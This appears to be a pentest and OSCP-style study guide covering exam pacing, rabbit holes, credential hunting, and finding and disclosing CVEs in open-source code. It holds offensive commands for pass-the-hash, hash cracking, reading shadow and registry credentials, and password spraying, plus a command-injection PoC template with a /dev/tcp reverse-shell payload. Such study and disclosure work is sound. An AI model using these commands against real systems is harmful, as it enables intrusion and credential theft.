⚠️ Bail Signal: Scan ALL boxes first before deep-diving any single one
AD set: initial foothold ⏱ 2 hours
Phase: Hour 1-3
✅ If YES: AD set is worth 40 points (most). Get initial foothold on AD. Enumerate domain once inside
❌ If NO: If stuck after 2 hours: switch to standalone machines. Come back to AD with fresh eyes
⚠️ Bail Signal: AD requires 3 machines (foothold + privesc + DC). Get the first one and keep going
Standalone machine 1 ⏱ 2 hours
Phase: Hour 3-5
✅ If YES: Get foothold + privesc on easiest standalone. Take screenshots for report as you go
❌ If NO: Stuck? Switch to other standalone. Mark where you got stuck in notes
⚠️ Bail Signal: 2 hours max per standalone. Rotate if stuck
Standalone machine 2 + AD progress ⏱ 2 hours
Phase: Hour 5-7
✅ If YES: Work second standalone or continue AD chain
❌ If NO: Rotate between what's available
⚠️ Bail Signal: By hour 7 you should have ~40-50 points minimum
Fill gaps ⏱ Remaining
Phase: Hour 7+
✅ If YES: Go back to machines where you got stuck. Try new approaches with info gathered from other boxes
❌ If NO: If close to passing (70pts): focus on report quality not more flags
⚠️ Bail Signal: You need 70 points to pass. Calculate what you have and what you need
Take breaks every 2 hours ⏱ 15 min each
Phase: CRITICAL
✅ If YES: Step away from screen. Eat. Drink water. Walk around. Your brain processes problems in the background
❌ If NO: Skipping breaks = diminishing returns after hour 4. You WILL miss things when tired
⚠️ Bail Signal: Breaks are not optional. They are strategic
Screenshot EVERYTHING ⏱ Ongoing
Phase: CRITICAL
✅ If YES: For EVERY flag: whoami + ipconfig/ip a + flag content in same terminal screenshot
❌ If NO: Missing screenshots = lost points even with correct flags
⚠️ Bail Signal: proof.txt + whoami + ifconfig in ONE screenshot
🕳️ Rabbit Hole Warnings
Common traps and false positives that waste hours on pentesting engagements and exams.
COMMON RABBIT HOLES - Patterns that waste time on pentests and exams
Brute forcing SSH without valid usernames 🕐 1-3 hours
SSH — SSH brute force is extremely slow and almost never the intended path. SSH is 99% of the time a 'use found creds here' entry point
Do this instead: Find usernames from other services first (SMTP enum, web app, SMB, SNMP). Only brute force SSH with a confirmed valid username
🚩 Red flag: You're running hydra on SSH with 'admin' or a huge username list as your first move
Trying SSH exploits on modern versions 🕐 30-60 min
SSH — OpenSSH 7.6+ is almost never exploitable. User enumeration (CVE-2018-15473) only works on 7.2-7.7
Do this instead: Note the version, move on. SSH is for credential reuse, not exploitation on most engagements
🚩 Red flag: Spending 30+ min searching for SSH exploits on OpenSSH 8.x
Running huge wordlists on gobuster 🕐 15-30 min
Web — directory-list-2.3-medium has 220k entries. Running it with 5 extensions = 1.1M requests. Takes 20+ min and you're just waiting
Do this instead: Start with common.txt (4600 entries). Only escalate to medium if common finds nothing. Use raft-medium-directories not dirbuster
🚩 Red flag: You've been watching gobuster scroll for 15 min and found nothing beyond what common.txt would find
Deep fuzzing every parameter 🕐 30-60 min
Web — ffuf with huge wordlists on every parameter hoping to find hidden values. Most parameters just take their expected input
Do this instead: Quick manual test (5 values) on each param. Focus on params that affect page behavior (id=, page=, file=, lang=, user=)
🚩 Red flag: You're fuzzing a 'sort=asc/desc' parameter with 10k values
Exploiting XSS on pentests 🕐 30-60 min
Web — XSS very rarely leads to a foothold on pentests. There's no 'victim browser' to receive your XSS payload in most cases
Do this instead: Focus on SQLi, LFI, file upload, command injection, SSTI. These give direct code execution
🚩 Red flag: You found reflected XSS and are trying to escalate it to RCE
WordPress plugin rabbit holes 🕐 30-60 min
Web — wpscan finds 50 'vulnerabilities' but most require auth or are informational/low severity
Do this instead: Focus on: unauthenticated RCE, file upload, SQLi. Ignore XSS, CSRF, and 'requires admin' vulns. Check wp-admin with found creds first
🚩 Red flag: Reading through 50 wpscan findings one by one
Trying SQLMap when manual fails 🕐 20-40 min
Web — If manual SQLi testing shows no injection point, SQLMap won't find one either. Also SQLMap is banned on OffSec exams
Do this instead: If manual testing (adding ' and checking for errors/behavior changes) shows nothing, the param probably isn't injectable. Move on
🚩 Red flag: You've tried SQLMap with --level 5 --risk 3 on every parameter
Trying to crack NTLMv2 hashes from Responder 🕐 30-120 min
SMB — NTLMv2 hashes only crack if the password is in your wordlist. Complex passwords can take hours/days
Do this instead: Try rockyou.txt for 5 min max. If it doesn't crack, try relay attacks instead (ntlmrelayx) or move to other vectors
🚩 Red flag: hashcat has been running for 30+ min on an NTLMv2 hash
Exhaustive share enumeration with no creds 🕐 20-30 min
SMB — If null session fails and you have no creds, you've learned everything SMB will tell you for now
Do this instead: Note SMB exists, note if signing is disabled (for relay), move on. Come back with creds
🚩 Red flag: Running multiple SMB tools hoping one of them gets access when null session already failed
Trying every kernel exploit 🕐 30-60 min
PrivEsc — Kernel exploits are unreliable. They can crash the box, and compiling/transferring takes time. Most lab boxes have an intended non-kernel privesc
Do this instead: Check sudo, SUID, cron, capabilities, config files FIRST. Kernel exploits are last resort
🚩 Red flag: You're on your 3rd kernel exploit compilation and none have worked
Chasing processes that need interaction 🕐 30-60 min
PrivEsc — Seeing a process run by root doesn't always mean you can exploit it. If it requires specific input or conditions, it might not be the path
Do this instead: Focus on what YOU can control: writable files, writable cron scripts, misconfigurations. Check pspy for scheduled tasks you can influence
🚩 Red flag: You're trying to reverse engineer a custom binary instead of checking file permissions
Deep binary reverse engineering 🕐 30-60 min
PrivEsc — Pentests rarely require actual reverse engineering. If a custom SUID binary exists, the exploit is usually simple (PATH abuse, library hijack, buffer overflow with clear pattern)
Do this instead: Run strings on the binary. Check ltrace/strace. Look for relative paths, missing libraries, or obvious input handling
🚩 Red flag: You've loaded the binary in Ghidra and are reading assembly for 30+ min
Trying to crack Kerberoast hashes forever 🕐 30-60 min
AD — Some service accounts have strong passwords. If rockyou.txt doesn't crack it in 5 min, try a bigger list for 10 more min, then move on
Do this instead: Check for AS-REP roastable accounts (easier to crack). Try password spraying. Look for other paths in BloodHound
🚩 Red flag: hashcat running 30+ min on a TGS hash
Enumerating AD without BloodHound 🕐 20-60 min
AD — Manual AD enumeration misses ACL-based attack paths that BloodHound visualizes in seconds. You'll waste hours finding what BloodHound shows instantly
Do this instead: Always run SharpHound and load into BloodHound first. Use the built-in queries: 'Shortest Path to DA', 'Kerberoastable Users'
🚩 Red flag: You're running net user /domain and net group /domain manually for 20 min
Overthinking the box 🕐 30-120 min
General — Lab boxes have intended paths. If you're constructing a 5-step exploit chain, you're probably overcomplicating it
Do this instead: The answer is usually simpler than you think. Re-enumerate. Check what you missed. The foothold is often in plain sight
🚩 Red flag: You're chaining 3 vulnerabilities together and it's still not working
Not checking UDP 🕐 0 min (but costs you the box)
General — SNMP (161) and TFTP (69) are commonly on UDP and provide easy wins. Many people skip UDP entirely
Do this instead: Always run: nmap -sU --top-ports 20 $IP. Takes 2 minutes. SNMP can reveal usernames, passwords in process command lines
🚩 Red flag: You're stuck and haven't checked UDP yet
Forgetting /etc/hosts 🕐 30-120 min
General — Browsing by IP shows Apache default page. Browsing by hostname shows the actual web app. Different vhosts = completely different attack surface
Do this instead: ALWAYS add hostnames to /etc/hosts: IP, nmap hostname, SSL cert names, any domain found in enumeration
🚩 Red flag: You see 'Apache2 Ubuntu Default Page' and think there's no web app
FALSE POSITIVE PATTERNS - Things that LOOK promising but aren't
Filtered ports showing in scan 🕐 10-20 min
Nmap — Filtered usually means firewall is dropping packets. The service may not actually be running or accessible
Do this instead: Focus on OPEN ports. Come back to filtered only if you've exhausted all open ports and found a firewall bypass
🚩 Red flag: 'Filtered' in nmap makes you think there's a hidden service to find
Tons of open ports (1000+) 🕐 20-30 min
Nmap — Could be a firewall returning SYN/ACK for everything (false positives). Or it's a real box with many services
Do this instead: Verify with: nmap -sV on suspicious ports. If no version detected = probably fake. Focus on ports with real service banners
🚩 Red flag: Box has 500 open ports, all showing 'tcpwrapped'
200 OK on everything 🕐 15-20 min
Web — Some servers return 200 for non-existent pages (custom 404). Gobuster will show thousands of 'hits'
Do this instead: Check response size. Filter: gobuster -fs <404_size>. Compare real pages vs non-existent pages first
🚩 Red flag: Every gobuster result is Status 200 with the same size
login page with no known CMS 🕐 20-30 min
Web — Custom login page doesn't mean SQLi. Could be rate-limited, properly coded, or irrelevant to the intended path
Do this instead: Try 3 things: default creds, admin'-- -, check source code. If nothing in 5 min, look for other entry points
🚩 Red flag: Spending 30 min on a login page that's not the intended path
linPEAS shows 95% colors 🕐 20-30 min
PrivEsc — linPEAS highlights tons of potential vectors. Most are informational, not exploitable. The tool is noisy by design
Do this instead: Focus on RED and YELLOW highlights. Check: sudo -l, SUID, writable cron, capabilities, docker/lxd groups FIRST before reading the entire output
🚩 Red flag: Reading every line of linPEAS output instead of checking the high-priority items first
SUID /usr/bin/sudo 🕐 5-10 min
PrivEsc — sudo having SUID is NORMAL. It's supposed to have SUID. Focus on non-standard SUID binaries
Do this instead: Ignore standard SUID: sudo, passwd, ping, mount, su, chsh, newgrp, gpasswd. Look for anything in /opt, /home, /usr/local, or custom paths
🚩 Red flag: Trying to exploit SUID on /usr/bin/sudo (it's meant to be SUID)
Kernel 'vulnerable' but exploit fails 🕐 30-45 min
PrivEsc — linux-exploit-suggester matches by version range but doesn't check if patches are applied via other means (backports, manual patches)
Do this instead: Check if the specific commit/fix is present. Try the exploit once cleanly. If it fails, it's likely patched despite the version number
🚩 Red flag: Third kernel exploit attempt has failed
Credential Tracking
Where to find credentials, what they look like, and how to track them across an engagement.
WHAT CREDENTIALS LOOK LIKE
Plaintext passwords
Found in config files, databases, shares, history files — Use everywhere
admin123
P@ssw0rd!
Summer2025!
CompanyName2024
NTLM hash
32 hex characters, no salt — Dumped from SAM, secretsdump, mimikatz. Can be cracked (hashcat -m 1000) or used directly with Pass the Hash.
aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
│ LM hash │ NT hash │
Example — Full SAM dump format
Administrator:500:aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
svc_backup:1001:aad3b435b51404eeaad3b435b51404ee:68510b169745bd23fae40e4a24cb080c:::
Format: username:RID:LM_hash:NT_hash:::
Crack NT hash: hashcat -m 1000 hash.txt rockyou.txt
Pass the Hash: crackmapexec smb $IP -u Administrator -H 8846f7eaee8fb117ad06bdd830b7586c
NTLMv2 hash
Captured from Responder or network sniffing — Must be cracked, cannot Pass the Hash with this
john::CORP:1122334455667788:ABC123DEF456789012345678901234567890:0101000000000000...
│user│ │dom│ │challenge │ │NTLMv2 response│
Example — Responder capture
[SMB] NTLMv2-SSP Client : 10.10.10.50
[SMB] NTLMv2-SSP Username : CORP\john
[SMB] NTLMv2-SSP Hash : john::CORP:1122334455667788:a]bc123def456:0101000000000000...
Crack: hashcat -m 5600 hash.txt rockyou.txt
Cannot PtH — must crack to plaintext first
Kerberoast TGS hash
Extracted via GetUserSPNs — Service account hash, often has a weak password
$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQL/db01.corp.local*$abc123...
│ prefix │ │ user │ │ domain │ │ SPN │ │hash│
Example — Impacket output
impacket-GetUserSPNs corp.local/john:'Password1' -dc-ip 10.10.10.1 -request
ServicePrincipalName Name MemberOf
MSSQL/db01.corp.local svc_sql CN=Domain Admins
$krb5tgs$23$*svc_sql$CORP.LOCAL$MSSQL/db01.corp.local*$f3a5b8c2d1e...
Crack: hashcat -m 13100 hash.txt rockyou.txt
AS-REP hash
From accounts without Kerberos pre-authentication — No creds needed to obtain
$krb5asrep$23$svc_backup@CORP.LOCAL:abc123def456...
│ prefix │ │ user@domain │ │ hash │
Example — Impacket output
impacket-GetNPUsers corp.local/ -dc-ip 10.10.10.1 -usersfile users.txt -no-pass
[*] Getting TGT for svc_backup
$krb5asrep$23$svc_backup@CORP.LOCAL:a1b2c3d4e5f6...
Crack: hashcat -m 18200 hash.txt rockyou.txt
Linux password hash (/etc/shadow)
Format depends on algorithm — $1$ (MD5), $5$ (SHA256), $6$ (SHA512)
root:$6$randomsalt$longhashstring...:19000:0:99999:7:::
│user│$6│ salt │ SHA512 hash │ │password age fields│
Example — /etc/shadow entries
root:$6$xyz123$A1B2C3D4E5F6G7H8I9J0...:19443:0:99999:7:::
admin:$1$abc$ShortMD5Hash...:19443:0:99999:7:::
www-data:*:19000:0:99999:7::: ← * means no login
$1$ = MD5 → hashcat -m 500
$5$ = SHA256 → hashcat -m 7400
$6$ = SHA512 → hashcat -m 1800
Crack: unshadow /etc/passwd /etc/shadow > unshadowed.txt
hashcat -m 1800 unshadowed.txt rockyou.txt
SSH private key
Found in .ssh directories, backups, shares — May be passphrase protected
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIA...
-----END OPENSSH PRIVATE KEY-----
Usage
chmod 600 id_rsa
ssh -i id_rsa user@$IP
If passphrase protected:
ssh2john id_rsa > ssh.hash
john ssh.hash --wordlist=rockyou.txt
bcrypt hash
From web application databases — Slow to crack, use rules
$2y$10$ABC123def456GHI789jkl.MNOPQR012stuvwxYZ345678abcdefgh
│$2y│cost│ 22-char salt + 31-char hash │
Example
Found in: WordPress wp_users table, web app databases
$2y$10$ or $2a$10$ prefix
Crack: hashcat -m 3200 hash.txt rockyou.txt -r best64.rule
Very slow — use small targeted wordlists with rules
WHERE TO FIND CREDENTIALS
Configuration files
Always check these paths — Plaintext DB creds, API keys, secret keys
# Web configs:
cat /var/www/html/wp-config.php
cat /var/www/html/configuration.php
cat /var/www/html/config.php
cat /var/www/html/.env
cat /var/www/html/app/etc/local.xml
# System configs:
cat /etc/shadow
cat /etc/tomcat*/tomcat-users.xml
cat /opt/*/config.yml
History files
Check for ALL users — Commands with passwords typed inline
cat /home/*/.bash_history
cat /root/.bash_history
cat /home/*/.mysql_history
# Windows:
type C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
HTML source and JavaScript
View source on EVERY page — Hardcoded creds, API tokens, debug info
curl -s http://$IP/ | grep -iE "password|passwd|secret|token|api.key"
# Check JavaScript files for API keys and endpoints
Network shares and file servers
Download and search EVERYTHING — Config backups, credential files, SSH keys
smbclient //$IP/share -N -c "recurse;prompt;mget *"
grep -r "password" ./loot/ --include="*.txt" --include="*.xml" --include="*.conf"
Database tables
SELECT * FROM users — Always check for creds
# MySQL:
SELECT user,password FROM mysql.user;
SELECT * FROM users;
# MSSQL:
SELECT name, password_hash FROM sys.sql_logins;
# PostgreSQL:
SELECT usename, passwd FROM pg_shadow;
Windows registry and saved creds
Autologon, VNC, PuTTY, WiFi passwords
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query HKLM /f password /t REG_SZ /s
cmdkey /list
LDAP user descriptions
Admins put temp passwords in AD description fields
ldapsearch -x -H ldap://$DC_IP -D "user@domain.local" -w 'password' -b "DC=domain,DC=local" "(description=*pass*)" description sAMAccountName
Email / mailboxes
Login with found creds — Password resets, shared credentials
curl -k "imaps://$IP/INBOX" -u user:password -X "FETCH 1:* BODY[TEXT]" | grep -i password
Process command lines
Passwords passed as arguments — Visible via SNMP or ps
# Linux:
ps aux | grep -i pass
# SNMP:
snmpwalk -v2c -c public $IP 1.3.6.1.2.1.25.4.2.1.5
CREDENTIAL TRACKING MATRIX
Use this template during engagements — Log every credential and where you tried it.
┌──────────┬──────────┬──────────┬─────┬─────┬───────┬─────┬─────┬───────┐
│ Username │ Password │ Source │ SSH │ SMB │ WinRM │ RDP │ Web │ DB │
├──────────┼──────────┼──────────┼─────┼─────┼───────┼─────┼─────┼───────┤
│ admin │ admin123 │ FTP conf │ ✓ │ ✓ │ ✗ │ ✗ │ ✓ │ │
│ john │ NTLMhash │ SAM dump │ n/a │ PtH │ PtH │ │ │ │
│ svc_sql │ Summer25 │ Kerbrst │ │ ✓ │ ✓ │ │ │ ✓ │
│ root │ $6$hash │ /shadow │crack│ │ │ │ │ │
└──────────┴──────────┴──────────┴─────┴─────┴───────┴─────┴─────┴───────┘
Rules:
1. Try EVERY credential on EVERY service
2. Try password reuse across all users
3. Try common mutations: Password1 → Password2, password1!, Password2025
4. Spray Season+Year: Summer2025!, Winter2024!, Spring2025
5. Document what worked and what didn't
Vulnerability Research & CVE Hunting
How to find real vulnerabilities in open-source software, write PoCs, and get CVEs assigned.
MINDSET - What you're actually looking for
Every exploitable vulnerability is the same pattern:
User-controlled input → No sanitization → Dangerous function
Your job is to find that path. Everything else is details.
TARGET SELECTION - What to hunt
Good targets
- Web services wrapping CLI tools (wkhtmltopdf, ffmpeg, imagemagick, pandoc)
- Flask/Django/Express apps with < 500 stars (enough users to matter, small enough to audit fast)
- Docker-based services (often run as root, common misconfigs)
- Abandoned projects still in use (no maintainer = instant full disclosure)
- MCP servers (new attack surface, most have no security review)
Bad targets
- Intentionally vulnerable apps (DVWA, WebGoat, juice-shop)
- CTF challenges and tutorials
- Projects with 0 users/stars
- Projects with active security teams and bug bounties (save for later)
- Offensive security tools (reporting command injection in a pentest tool is weak)
GITHUB CODE SEARCH - Finding vulnerable patterns
Command injection (CWE-78)
The highest-value vulnerability class. Network-accessible, usually no auth, CVSS 9.0+.
language:python "os.system" "request" filename:app.py
language:python "subprocess" "shell=True" "request.json"
language:python "subprocess.Popen" "request.form" "shell=True"
language:python "execute" "request" filename:app.py
language:php "exec(" "$_GET"
language:php "system(" "$_POST"
language:php "passthru(" "$_REQUEST"
language:javascript "child_process" "req.body"
language:javascript "exec(" "req.query"
What you're looking for
# VULNERABLE - user input reaches shell execution
data = request.json.get('input')
os.system(f"tool {data}") # Direct injection
subprocess.Popen(f"tool {data}", shell=True) # shell=True with f-string
execute(f"tool {data}") # executor library (bash -c)
# SAFE - parameterized, no shell
subprocess.run(['tool', data]) # List args, no shell
subprocess.run(['tool', data], shell=False) # Explicit no shell
SQL injection (CWE-89)
language:python "execute" "request" "%" filename:app.py
language:python "cursor.execute" "format" "request"
language:php "mysql_query" "$_GET"
language:php "mysqli_query" "$_POST"
What you're looking for
# VULNERABLE - string formatting into SQL
query = f"SELECT * FROM users WHERE name = '{request.form['name']}'"
cursor.execute(query)
# SAFE - parameterized query
cursor.execute("SELECT * FROM users WHERE name = %s", (request.form['name'],))
Path traversal (CWE-22)
language:python "open(" "request" "filename" filename:app.py
language:python "send_file" "request.args"
language:python "os.path.join" "request"
language:php "file_get_contents" "$_GET"
language:php "include" "$_GET"
What you're looking for
# VULNERABLE - user controls file path
filename = request.args.get('file')
return send_file(f"/uploads/{filename}") # ../../etc/passwd
# SAFE - basename strips directory components
filename = os.path.basename(request.args.get('file'))
return send_file(os.path.join('/uploads', filename))
Server-Side Template Injection (CWE-1336)
language:python "render_template_string" "request"
language:python "Template(" "request"
language:python "from_string" "request"
language:python "Jinja2" "render" "request"
What you're looking for
# VULNERABLE - user input in template
template = request.form['name']
return render_template_string(f"Hello {template}") # {{7*7}} = 49
# SAFE - template with variable
return render_template_string("Hello {{ name }}", name=request.form['name'])
Deserialization (CWE-502)
language:python "pickle.loads" "request"
language:python "yaml.load(" "request"
language:python "yaml.load(" NOT "yaml.safe_load"
language:java "ObjectInputStream" "readObject"
language:php "unserialize" "$_"
What you're looking for
# VULNERABLE - deserializing user input
data = pickle.loads(request.data) # Arbitrary code execution
data = yaml.load(request.data) # yaml.load without SafeLoader
# SAFE
data = json.loads(request.data) # JSON is safe
data = yaml.safe_load(request.data) # SafeLoader blocks code execution
CODE REVIEW PROCESS - How to evaluate a target fast
Step 1: Identify the app type (30 seconds)
Read the README. What does it do?
| App type | Most likely vulnerability |
|---|---|
| Web service wrapping CLI tool | Command injection |
| File upload/download service | Path traversal |
| Database-backed web app | SQL injection |
| Template-based web app | SSTI |
| API accepting serialized data | Deserialization |
| Authentication system | Auth bypass, IDOR |
Step 2: Find the entry points (2 minutes)
Where does user input enter the application?
# Find all route handlers
grep -rn "app.route\|@app\.\|@router\.\|@blueprint\." *.py
grep -rn "app.get\|app.post\|router.get\|router.post" *.js
# Find all request data access
grep -rn "request.form\|request.args\|request.json\|request.data\|request.files" *.py
grep -rn "req.body\|req.query\|req.params\|req.file" *.js
grep -rn "\$_GET\|\$_POST\|\$_REQUEST\|\$_FILES" *.php
Step 3: Find the dangerous sinks (2 minutes)
# Command execution
grep -rn "os.system\|os.popen\|subprocess\|exec(\|execute(" *.py
grep -rn "child_process\|exec(\|execSync\|spawn(" *.js
grep -rn "system(\|exec(\|passthru(\|shell_exec(\|popen(" *.php
# File operations
grep -rn "open(\|send_file\|send_from_directory" *.py
grep -rn "readFile\|createReadStream\|writeFile" *.js
grep -rn "file_get_contents\|fopen\|include\|require" *.php
# Database queries
grep -rn "execute(\|cursor\|query(" *.py
grep -rn "mysql_query\|mysqli_query\|pg_query" *.php
# Template rendering
grep -rn "render_template_string\|Template(\|from_string" *.py
# Deserialization
grep -rn "pickle\|yaml.load\|marshal\|shelve" *.py
grep -rn "unserialize\|json_decode" *.php
Step 4: Trace the path (5 minutes)
Can user input reach the dangerous sink without sanitization?
Route handler → gets user input → any validation? → reaches dangerous function?
| | |
@app.route('/convert') No filtering? os.system(cmd)?
No allowlist? subprocess(shell=True)?
No escaping? execute(string)?
If the answer to all three is "no filtering, no escaping, no allowlist" then you have a vulnerability.
Step 5: Check exploitability (5 minutes)
| Question | Impact on CVSS |
|---|---|
| Network accessible? | AV:N (higher) vs AV:L (lower) |
| Auth required? | PR:N (no auth = critical) vs PR:L |
| User interaction needed? | UI:N (no interaction = higher) |
| What privileges does it run as? | Root = maximum impact |
| What can you access? | Read files? Execute commands? Full RCE? |
BUILDING THE PoC - Proving exploitation
Order of proof
- Confirm the vulnerability exists by writing a file (
id > /tmp/pwned.txt) - Prove arbitrary execution with different commands
- Demonstrate impact (read /etc/passwd, dump env vars, etc.)
- Get a reverse shell for maximum impact proof
- Write the automated PoC script
PoC script template (command injection)
#!/usr/bin/env python3
import argparse
import requests
import json
import base64
def check(target):
"""Verify target is vulnerable."""
# Send benign request first to confirm service is running
# Then send injection payload
# Describe how to verify execution
pass
def exploit(target, command, method="value"):
"""Execute arbitrary command on target."""
# Build the payload
# Send the request
# Describe how to retrieve output
pass
def reverse_shell(target, lhost, lport):
"""Spawn reverse shell on target."""
payload = f"bash -i >& /dev/tcp/{lhost}/{lport} 0>&1"
exploit(target, payload)
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("--target", "-t", required=True)
parser.add_argument("--command", "-c", default=None)
parser.add_argument("--check", action="store_true")
parser.add_argument("--reverse-shell", "-r", default=None)
args = parser.parse_args()
if args.check:
check(args.target)
elif args.reverse_shell:
ip, port = args.reverse_shell.split(":")
reverse_shell(args.target, ip, port)
else:
exploit(args.target, args.command or "id")
SETTING UP TEST ENVIRONMENTS
Docker targets
Most web service targets have Dockerfiles. If they don't, build one:
FROM python:3.10-slim
WORKDIR /app
COPY . .
RUN pip install -r requirements.txt
EXPOSE 8080
CMD ["python", "app.py"]
docker build -t vuln-target .
docker run -d -p 8080:8080 --name vuln-test vuln-target
If the app uses Python 2
Port the minimum code needed to Python 3. Preserve the vulnerability logic exactly. Common fixes:
# Python 2 → Python 3
print "hello" → print("hello")
.decode('base64') → base64.b64decode()
raw_input() → input()
except Exception, e → except Exception as e
open(f, 'r') → open(f, 'rb') # for binary
EVIDENCE COLLECTION - Screenshots that matter
Take these screenshots in order:
| # | Screenshot | Purpose |
|---|---|---|
| 1 | Container/service running | Proves environment setup |
| 2 | Legitimate request working | Proves app functions normally |
| 3 | Clean state (no evidence files) | Proves no prior tampering |
| 4 | RCE proof (id output as root) | Confirms code execution |
| 5 | Second injection vector | Shows multiple attack paths |
| 6 | Data exfiltration (/etc/passwd) | Demonstrates file read impact |
| 7 | Environment variable dump | Demonstrates secret exposure |
| 8 | Full RCE proof (whoami + hostname + date) | Timestamped proof |
| 9 | PoC script running | Shows automated exploitation |
| 10 | Reverse shell | Maximum impact demonstration |
CVE DISCLOSURE PROCESS
Step 1: Report to maintainer
Check for SECURITY.md in the repo. If none:
1. GitHub Security Advisory (preferred)
→ repo → Security tab → Report a vulnerability
2. Public GitHub Issue (if repo appears abandoned)
→ Create issue with "[Security] Vulnerability: RCE via ..."
3. Email maintainer directly
→ Check git log for email, README for contact info
Step 2: Request CVE from MITRE
Submit at https://cveform.mitre.org/
Required fields:
Vulnerability Type: OS Command Injection / SQL Injection / etc.
Vendor: The org or username
Product: Repository name
Version: All versions / specific version
Attack Type: Remote / Local
Impact: Code Execution / Information Disclosure / etc.
Affected Component: filename.py, lines X-Y
Attack Vector: Description of how to exploit
Suggested Description: One paragraph for the CVE database
Discoverer: Your name
References: GitHub repo URL, issue URL, advisory URL
Step 3: Decide disclosure timeline
| Maintainer status | Action |
|---|---|
| Active, responds | 90-day coordinated disclosure |
| Active, no response after 30 days | Publish with CVE |
| Abandoned (no commits in 1+ year) | Immediate full disclosure |
Step 4: Publish
Where to publish (do all of them):
1. GitHub PoC repository (README + poc.py + screenshots)
2. Blog post (full technical writeup)
3. ExploitDB (email submit@offsec.com with exploit script)
4. Full Disclosure mailing list (seclists.org)
5. PacketStorm Security (packetstormsecurity.com/submit)
6. LinkedIn post (builds professional visibility)
7. Twitter/X thread (builds community presence)
EXPLOITDB SUBMISSION FORMAT
Email: submit@offsec.com
Subject = Exploit title. Attach the exploit as a .py file with these headers:
# Exploit Title: [target] - [vuln type]
# Google Dork: N/A
# Date: [YYYY-MM-DD]
# Exploit Author: [your name]
# Vendor Homepage: [URL]
# Software Link: [URL]
# Version: [affected versions]
# Tested on: [OS]
# CVE: [CVE-XXXX-XXXXX or Pending]
⚠️ They will NOT accept: reflected XSS without CVE, DLL hijacking, path disclosure, open redirects, clickjacking without CVE, or vulns requiring admin access.
DANGEROUS FUNCTIONS CHEAT SHEET
Python
| Function | Risk | CWE |
|---|---|---|
os.system() | Command injection | CWE-78 |
os.popen() | Command injection | CWE-78 |
subprocess.Popen(shell=True) | Command injection | CWE-78 |
subprocess.run(shell=True) | Command injection | CWE-78 |
subprocess.call(shell=True) | Command injection | CWE-78 |
eval() | Code injection | CWE-94 |
exec() | Code injection | CWE-94 |
pickle.loads() | Deserialization RCE | CWE-502 |
yaml.load() | Deserialization RCE | CWE-502 |
render_template_string() | SSTI | CWE-1336 |
open() with user input | Path traversal | CWE-22 |
send_file() with user input | Path traversal | CWE-22 |
PHP
| Function | Risk | CWE |
|---|---|---|
system() | Command injection | CWE-78 |
exec() | Command injection | CWE-78 |
passthru() | Command injection | CWE-78 |
shell_exec() | Command injection | CWE-78 |
`backticks` | Command injection | CWE-78 |
popen() | Command injection | CWE-78 |
eval() | Code injection | CWE-94 |
preg_replace('/e') | Code injection | CWE-94 |
unserialize() | Deserialization | CWE-502 |
include() / require() | LFI/RFI | CWE-98 |
file_get_contents() | Path traversal / SSRF | CWE-22 |
JavaScript / Node.js
| Function | Risk | CWE |
|---|---|---|
child_process.exec() | Command injection | CWE-78 |
child_process.execSync() | Command injection | CWE-78 |
eval() | Code injection | CWE-94 |
Function() | Code injection | CWE-94 |
vm.runInNewContext() | Sandbox escape | CWE-94 |
fs.readFile() with user input | Path traversal | CWE-22 |
require() with user input | Code injection | CWE-94 |
CVSS 3.1 QUICK SCORING
Use for your advisory reports:
| Scenario | Vector | Score |
|---|---|---|
| RCE, no auth, network | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H | 9.8 Critical |
| RCE, auth required, network | AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H | 8.8 High |
| File read, no auth, network | AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N | 7.5 High |
| Command injection, local only | AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H | 7.8 High |
| DLL hijacking | AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H | 7.8 High |
| XSS (reflected) | AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N | 6.1 Medium |
Calculator: https://www.first.org/cvss/calculator/3.1
SPEED TIPS
- Start with command injection. Highest CVSS, easiest to find, easiest to prove.
- Search GitHub for dangerous patterns, not specific apps. You find more targets.
- Read the code, not the README. READMEs lie. Code doesn't.
- Check
requirements.txtorpackage.jsonfirst. If the app importsexecutor,subprocess, orchild_process, dig deeper. - Grep backwards from sinks, not forward from inputs. Find
os.system()first, then trace back to see if user input reaches it. - Skip projects with zero network exposure. CLI tools, build scripts, and local-only utilities are low-value targets.
- Skip projects with authentication on all endpoints. Unless you're looking for auth bypass, no-auth targets give higher CVSS.
- One CVE in a popular project > five CVEs in unknown ones. Stars and forks matter for credibility.